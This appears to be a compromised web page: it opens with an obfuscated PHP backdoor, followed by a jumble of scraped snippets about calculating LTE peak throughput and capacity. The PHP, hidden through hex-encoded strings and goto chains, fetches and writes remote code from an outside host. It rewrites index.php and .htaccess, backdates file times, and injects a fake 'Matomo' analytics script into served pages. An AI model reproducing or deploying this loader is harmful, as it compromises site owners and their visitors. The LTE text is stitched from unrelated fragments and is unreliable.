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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<h1 class="page_title">Lte peak capacity calculation</h1>

						
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                            <span class="sub_nav_link_label" itemprop="name">Lte peak capacity calculation.  Coding rate describes the efficiency of particular modulation scheme.  This is the maximum possible capacity which in reality can only be achieved in lab conditions.  Along modulation there is term called coding rate.  LTE throughput depends on the following parameters: Bandwidth; Channel quality Aug 3, 2015 · How to calculate LTE peak capacity? This is the maximum possible capacity which in reality can only be achieved in lab conditions.  Let's get into further details for some of the important parameters.  The LTE throughput calculation is based on modulation type, TBS index and TBS size.  Calculator is based on 3GPP 36.  It then includes LTE users, LTE scheduling, LTE traffic downlink/uplink analysis, transmission time interval (TTI) utilizations, throughput analysis, physical resource block utilization analysis, modulation May 2, 2009 · Wireless broadband Internet access providing IP based services to mobile users is growing rapidly worldwide.  Let us understand peak data rate or LTE throughput calculation with following LTE system configuration.  Uses I TBS and N PRB from 7.  It is recommended to read OFDMA/SC-FDMA sections to clearly understand throughput calculation in LTE.  LTE Capacity Monitoring LTE Capacity Monitoring - Bagian 2 Opini Tentang Teknologi 4G LTE Perspektif Kemerdekaan pada Teknologi ICT Jun 5, 2018 · It then includes LTE users, LTE scheduling, LTE traffic downlink/uplink analysis, transmission time interval (TTI) utilizations, throughput analysis, physical resource block utilization analysis, modulation and codec scheme, channel quality indicator (CQI), &ldquo;MIMO&rdquo; analysis, data connection performance, circuit-switched fallback (CSFB Jul 7, 2017 · Overhead resource elements (REs) in Long Term Evolution (LTE) networks are used for some control, signaling and synchronization tasks at both the Physical level and Media Access Control sub-level.  Ue Сategories LTE calculator help us to get information about Ue Peak LTE Throughput DL (UL), number of MIMO DL layers, support for 64QAM in UL etc This text is aimed to understand the LTE-FDD capacity calculations.  Reply.  With LTE substantial gains regarding capacity, the much higher peak data rates can be expected, while Oct 28, 2016 · The principle underlying the maximum channel capacity is that the maximum channel capacity is equal to the symbol rate times the number of bits per symbol.  In other words, single 20MHz bandwidth to achieve up to 600Mbps downlink speed.  Although evaluated the capacity margin for 2 years in VSR, there was no prediction of it. Hi All,There are lot of new member joined so i a Citation preview.  This calculation takes into account the average daily consumption and desired autonomy (number of days you want your system to operate when there&rsquo;s no sun).  LTE Throughput Calculator. 5 b/s/Hz. 211 communication standards and allows you to calculate Max LTE Users depend on Bandwidth, CFI format, Aggregation CCE levels, DCI, etc. These are without DSS enabled.  In good radio condition 64QAM modulation will be used for downlink.  Code Rate .  =16800 x 6. .  Jun 7, 2017 · Carrier Aggregation in LTE-A (LTE Advanced) Carrier Aggregation (CA) is a key technology in 4G LTE Advanced (LTE-A) to enable higher capacities on mobile networks.  Lte Capacity Calculation. 5 ms (i. Jun 27, 2011 · In this blog, I will look at the peak capacity of LTE.  Simply put, the code rate can be defined as the ratio of the data rate that is allocated for a subframe and the maximum data rate that ideally can be allocated in the subframe. 4.  This site is for everything on 4G/LTE.  For a 2x20 MHz system with 4x4 MIMO, the estimated peak downlink rate is 298 Mbps and uplink rate is 82 Mbps.  Also, since they function through the use of radio signals, each of the mentioned communication methods has a maximum channel Sep 25, 2020 · For evaluation for capacity margin, derived the downlink network capacity and traffic volume of the 4G network from March 2017 to March 2019.  To start with lets first get some idea about resource block (RB) in a LTE system and how it is related to channel bandwidth.  Although LTE is commonly referred to as 4G LTE, LTE is technically slower than 4G but still faster than normal 3G.  LTE introduced to get higher data rates, 300Mbps peak downlink and 75 Mbps peak uplink.  LTE networks, using a large dataset collected by a telecom operator.  Throughput Calculation - TDD .  Original code from Github.  Simply select network type and type in the LCID/CID. 11ac 802.  Dec 16, 2023 · LTE (Long-Term Evolution) capacity planning is a crucial aspect of designing and optimizing a wireless network to ensure efficient utilization of resources and to meet the growing demand for high-speed data services. -Coverage planning-Site selection-Propagation measurements-Coverage calculation-Site acquisition-Coverage optimization-Network optimization-Quality measurements-Performance analysis-Quality, efficiency, &hellip; Definition Network planning and rollout Optimization and measurements PROCESS OVERVIEW 20 The document discusses how to calculate the peak capacity of LTE networks.  Which means that in LTE you will have even bigger TBS than HSPA+ Dual Carrier.  Below you can find a simple LTE throughput calculator.  To obtain the correct result, it is necessary to enter such important parameters as: mode of 4G LTE network, number of aggregated carriers, number of MIMO layers, Bandwidth, modulation type, and so on.  fezo says: February 5, 2016 at 10:31 am.  Throughput Calculation Example - FDD.  So in this case, very high performance IP data server is the most important factor for LTE is the successor technology not only of UMTS but also of CDMA 2000.  Apr 7, 2013 · 5.  In other words, it means &quot;The code rate is defined as the ratio between the transport block size and the total number of physical layer bits per subframe tha 6.  Use this page calculate things such as eNB ID/RNC-ID/BSIC or hex values of IDs.  In LTE one Resource Block is about 180 KHz and a 20 MHz LTE system has about 100 Resource Blocks.  PLANNING LTE Capacity Monitoring Guideline PREDICTION DEPLOYMENT CAPACITY MANAGEMENT @yoyokdp @ai.  This is a simple and straightforward formula for data rate calculation.  Jul 17, 2024 · Signal to Noise Ratio Formula and Channel Capacity. 306 standard: NR User Equipment (UE) radio access capabilities and uses formula to obtain a 5G NR Throughput data rate in the DL (downlink) and the UL (uplink).  Select network type 4G LTE 3G UMTS 2G GSM Cell Identifier LTE code rate calculator LTE EARFCN vs Frequency converter LTE PCI calculator LTE RB calculator LTE RIV calculator LTE RSRP and RSRQ calculator LTE throughput calculator RF and Wireless tutorials WLAN 802.  Consider that peak LTE rates include a MIMO-SM capacity gain factor of 2, so the downlink LTE throughput for a 20 MHz channel is about 150 Mbps, or a spectral efficiency (SE) of 7.  LTE is important because it will bring up to 50 times performance improvement and much better spectral efficiency to cellular networks.  Calculator is based on 3GPP communication standards and allows you to calculate the maximum throughput of 4G LTE networks.  In this section, we estimate and predict the network capacity and traffic volume in VSR until 2024.  20MHz channel, 4x4 MIMO configuration, Theoretically, Peak Data rate= No.  Jul 9, 2011 · July 9, 2011 Capacity, LTE LTE, QAM, Throughput Yasir Ahmed (aka John) Peak LTE data rate can be calculated using the following parameters: 1 Time-slot=0.  It calculates maximum DL 